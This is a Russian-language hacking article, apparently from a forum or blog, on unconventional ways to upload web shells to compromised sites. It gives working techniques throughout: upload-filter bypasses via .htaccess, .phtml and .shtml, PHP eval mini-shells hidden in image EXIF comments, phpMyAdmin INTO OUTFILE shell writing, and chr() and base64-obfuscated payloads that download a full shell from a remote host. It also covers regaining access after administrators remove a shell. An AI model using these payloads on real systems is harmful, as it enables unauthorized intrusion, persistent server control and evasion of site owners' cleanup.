Методы заливки Шелла(Shell)


Нестандартные способы заливки шелла​

Итак, сегодня мы будем разбирать несколько далеко не стандартных способов заливки шелла. :)
(В конце изложения имеются линки на видео к статье)
Шелл — оболочка операционной системы (от англ. shell — оболочка) — интерпретатор команд операционной системы, обеспечивающий интерфейс для взаимодействия пользователя с функциями системы.

Эту статью вам нужно читать в двух случаях:
1.) Для общего развития
2.) Если у вас не получается штатными методами залить шелл. (!!!)

Способ №1 — «Обход фильтрации»​


Допустим, формат .php не заливается, также .php2/.php3/.php4/.php5/ и даже.php.jpg/.php.abc.Варианты решения:
1.) Попробуйте залить .phtml — это также расширение семейства PHP.
2.) Создаём файлик .htaccess, и вписываем в него следующее:

PHP:
AddType application/x-httpd-php .jpg
AddHandler application/x-httpd-php .jpg

Сохраним.. там, где .jpg можете указать любой понравившийся вам формат, хоть .hacker ( :D ).
Теперь попробуем залить наш .htaccess и вслед за ним шелл, с расширением, указанным в .htaccess’e
???
PROFIT!!!

Примечание: .htaccess — файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов.
3.) Если методы выше не работают, то расскажу о очень интересном формате — «.shtml».

Вся прелесть в том, что 95% администраторов либо вообще не знают что это такое, либо просто напросто забывают добавить этот формат в «чёрный список». А теперь советую поподробней прочитать, что это такое, залить такой файлик на сервер, и закачать шелл…
Также бывает, что если мы создадим файл file.shtm?cmd=… то в большинстве случаев скрипт не хотел выполнять системные команды, которые содержат пробел. т.е. «id» он выполнял, «ls» — тоже, а «uname -a» — нет, потому что содержит пробел. Таким образом все фишки типа «wget http://shell.com/shell.php» обламывались. Но не отчаиваетесь — выход есть:
Можно написать и скомпилировать програмку, которая выполняет системную команду скачивания шелла (через wget). скомпилировать, и залить её. Потом через SSI скрипт просто напросто выполнить её.
Код примера программы:

Code:
#include <stdio.h>
#include <stdlib.h>

int main ()
{
  system("wget [Путь_к_шеллу]");
  return 0;
}

Код самый примитивный, описание команд:
System — команда для выполнения команд ( :D ) системного интерпретатора.
Wget — свободная не-интерактивная консольная программа для загрузки файлов по сети. Поддерживает протоколы HTTP, FTP и HTTPS, а также поддерживает работу через HTTP прокси-сервер. Программа включена почти во все дистрибутивы GNU/Linux
return — это то что мы «возвратим» программе, в данном случае ничего ;)
include — подключение библиотек компилятора.
int main — главная «процедура» (наподобие функции) программы.
P.S Варианты shell.php.jpg тут не рассматриваются, т.к о них и так все знают.
(Спасибо Mailbrush’у за предоставленный вариант).
4.) Ну, а этот вариант — это использовать плагин на подобии «Tamper Data» (Firefox). Можно перехватить запрос, и изменить расширение, но такой метод самый маловероятный. Обычно он спасает в тех случаях, если php не разрешает какой-нибудь JavaScript.
5.) Пятый вариант — это отличный баг Windows, а именно, иногда сайт не разрешает закачивать PHP таким образом, что когда нажимаешь к примеру на кнопку «Обзор», то он показывает только файлы изображений, и т.п. Но не отчаивайтесь — просто нажмите на этот «Обзор» ( :D ) зайдите в директорию с шеллом, и наберите тут его имя:
[​IMG]
И нажмите «Открыть», шелл успешно откроется, и закачается ;)
6.) Ну а этот метод не входит в «не стандартную» категорию, он заключается в том, что банальный создатель говорит, что разрешено дескать только .jpg и т.д, но на самом деле это не всегда так, достаточно залить PHP сценарий (шелл), и он будет отлично работать. Как вы поняли — никакой фильтрации нету полностью (ну или уж через чур кривая :D )
7.) А этот способ предложил нам |qbz|:

То есть объясняя другими словами, вы в админке через отправку почты отправляете её на локальный хост, и это сохранится в «спец.папках», затем через уязвимость PHP Include мы инклудим этот файлик и таким образом можем воспроизвести PHP сценарий. Для домохозяек, PHP Include — это загрузка какого-либо файла (в нашем случае PHP скрипта) на страницу пользователя, как то так)) Подробнее можете погуглить….
8.) Ну этот способ называется шелл в картинке, или exif шелл :) Итак, начнём:
Часто мы пытаемся загрузить наш шелл в формате .jpg и т.п но также часто попадаются файломенеджеры которые с доброй харей любезно сжимают файл да ещё и размер, и понятное дело наш шелл так не заработает, тогда воспользуемся волшебной штукой под названием exif, а делаем так:
Берём например paint, создаём картинку хоть 1×1 пикселей, сохраняем в формате .gif или как вам удобней, затем юзаем тулзы для добавления «комментария» к фотке, то есть exif, для этого например подойдёт gimp, открываем в нём наше фото, нажимаем сохранить к примеру в формате .gif и пишем там где Comment или Комментарий, или ещё чего наш код от мини шелла, то есть <?php eval($_GET[cmd]); ?>, сохраняем, льём, делаем так http://site.com/foto.gif?cmd=phpinfo(); и радуемся! также такие «комментарии» можно вставить и в hex редакторе… ;)
Подробнее тут

Способ №2 — Хитрости PhpMyAdmin​


Допустим, вы получили доступ к PhpMyAdmin, и вам даже посчастливилось, что File_Priv=Y и Обновление таблиц тоже = Y. Тогда нажимает SQL (Может называться и по другому, и она сверху ;) ). И вписываем следующее:

Code:
UPDATE `table_name` SET `column_name_1` = '<?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?>' WHERE `column_name_2` =[Значение] LIMIT 1 ;
SELECT * FROM `table_name` WHERE `column_name_2` =[Значение] INTO OUTFILE '[Полный_путь_до_папки_с_правами_закачки_файла/shell.php]' ;

Запросы весьма банальны!
Первый запрос гласит о том, что мы изменяем (обновляем) колонку column_name_1 в таблице table_name, где column_name_2 = какому-либо значению.
Второй запрос «выдёргивает» данные из колонки column_name_2, находящейся в таблице table_name, и выдёргивает из той, где column_name_2 равен какому-либо значению, затем это логируется в какой-либо файл.
Теперь переходим по адресу

Code:
host.com/пут_до_той_папки_что_вы_указали/shells.php

Пояснения:
table_name — имя таблицы в БД.
column_name_1 — эта колонка, которую мы будем «изменять».
column_name_2 — это колонка, например id, показывает, какую именно запись в БД мы будем редактировать. Например, column_name_2=id, а table_name=users. Это значит, что мы будем изменять запись в таблице users, где id=n (любое число).
Вы, вероятно обратили внимание, что весь php на одной строке и без пробелов, а это не случайность — это всё для вселюбимой PhpMyAdmin, если записать сюда код с переходами на другую строку, то он обязательно вставить «/» перед переходом, что соответственно вызовет ошибку в php скрипте. И ещё нельзя использовать  …

Также можно вместо:

Code:
<?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?>

Мы можем просто вписать:

Code:
<?php eval($_GET[cmd]); ?>

Eval выполняет функции php, как вы видите, это мини шелл… используют так:

Code:
host.com/пут_до_той_папки_что_вы_указали/shells.php?cmd=function_php;
Способ (Можно сказать, часть…) №3 — Что касается «Мини-шелла»​


Итак, опять же допустим, что вы закачали «мини шелл», но теперь бы вам надо залить нормальный, WSO к примеру.
Пробуем:

Code:
http://host.ru/shell.php?cmd=$url = "Ссылка_на_шелл.txt";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);

Но тут очень часто бывает облом — либо нельзя, чтобы был пробел, либо нельзя, чтобы были кавычки. «Заброшу ка я сервер» — наверное подумали вы.. но нет, конечно, вы правы, чтобы задать тип переменной в php типа string, не мешало бы значение поместить в кавычки, а вот оказывается нет. Достаточно использовать функцию chr(); Эта функция «преобразовывает» ASCII в «обычный текст», таблицу таких символов можно взять тут — http://www.asciitable.com/
И соответственно, получаем код, к примеру (рабочий):
$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);

Как видите, без кавычек, а тип будет String :p Так что теперь делаем код:

Code:
$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);$content = file_get_contents($url);$h = fopen(shells.chr(46).php,w);$text = $content;fwrite($h,$text);fclose($h);

И вставляем его в «?cmd=» и получаем в том же каталоге что и мини-шелл, настоящий, хороший шелл, который будет по адресу shells.php..
Заметка: Скорее всего, вы заметили, что у меня написано «shells.chr(46).php», а я объясню, 46 — это точка в «Dec», а имя файла у нас без кавычек, и если бы мы написали shells.php то он бы сохранился как shellsphp, то есть без расширения, т.к точка — это тоже функция в PHP, но я земенил её на shells.chr(46).php и получаем на выходе «shells.php». Вот так, удачи Вам!

Впринципе, можно сделать место функции chr() например так:

Code:
$url=$_GET[urlz]; $content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);

И задавать так:

HTML:
site.com/eval.php?cmd=$url=$_GET[url];$content= file_get_contents($url);$h=fopen($_GET[file],w);$text=$content;fwrite($h,$text);fclose($h);&url=url_загружаемого_файла&file=название_файла_на_выходе

В этом скрипте кстати тоже всё довольно просто :)

— это мы задаём значение переменной URL взятое из GET переменной URL.

— тут мы присваиваем переменной Content значение документа, находящемся по адресу из переменной URL.

— открываем локальный файл $_GET[file] для записи.

— подставляем значение переменной text из переменной content.

— записываем в файл, открытый для записи в переменной «h» значение из переменной text.

— закрываем открытый файл из переменной h для записи в него текста.

Также такой код можно представить так:

и юзать так:

А также, можно использовать Base64.​

— Но ведь он оканчивается на «==» ??
спросите вы, но вот и нет, этот хвост можно убрать, и код продолжит также прекрасно работать!
например, PHPInfo() будет выглядеть так:

Code:
<?php
eval(base64_decode('cGhwaW5mbygpOw=='));
?>

Урежем:

Code:
<?php
eval(base64_decode('cGhwaW5mbygpOw'));
?>

Видим, что всё работает)
теперь можем убрать кавычки, юзаем так:

PHP:
site.ru/index.php?cmd=base64_decode(cGhwaW5mbygpOw);

Использовать кодировщик рекомендую тут http://base64.ru
или тут:
http://tools.0x0000ed.com/base64.php

Есть мини-шелл, но нету прав =(​

Допустим, вы залили шелл, и напихали везде мини-шеллов, но ваш шелл потёрли, и урезали права во всех папках, либо другая причина, по которой вы не можете залить нормальный шелл из миника.
Для этого делаем так:
Идём сюда:
http://base64.ru/
Там вписываем такой код:

PHP:
$content=file_get_contents("ПУТЬ_К_ШЕЛЛУ");$h=fopen("имя_файла_мини-шелла",w);$text=$content;fwrite($h,$text);fclose($h);

шифруем это в base64, у меня вышло так:

PHP:
JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw

Тогда юзаем так:

PHP:
http://site.ru/mini.php?cmd=eval(base64_decode(JGNvbnRlbnQ9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly93d3cuY29udGludXVtMi5jb20vd3NvLnR4dCIpOyRoPWZvcGVuKCJtZW1iZXIuaW5jLnBocCIsdyk7JHRleHQ9JGNvbnRlbnQ7ZndyaXRlKCRoLCR0ZXh0KTtmY2xvc2UoJGgpOw));

теперь обновляем страничку с мини-шеллом, и видим полноценный шелл…
Окончание:
Это всего-лишь малая часть всех чудных способов не стандартной заливки, я просто попытался направить вас на тот путь, что выход есть всегда (почти :D ).

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Перейти к верхней панели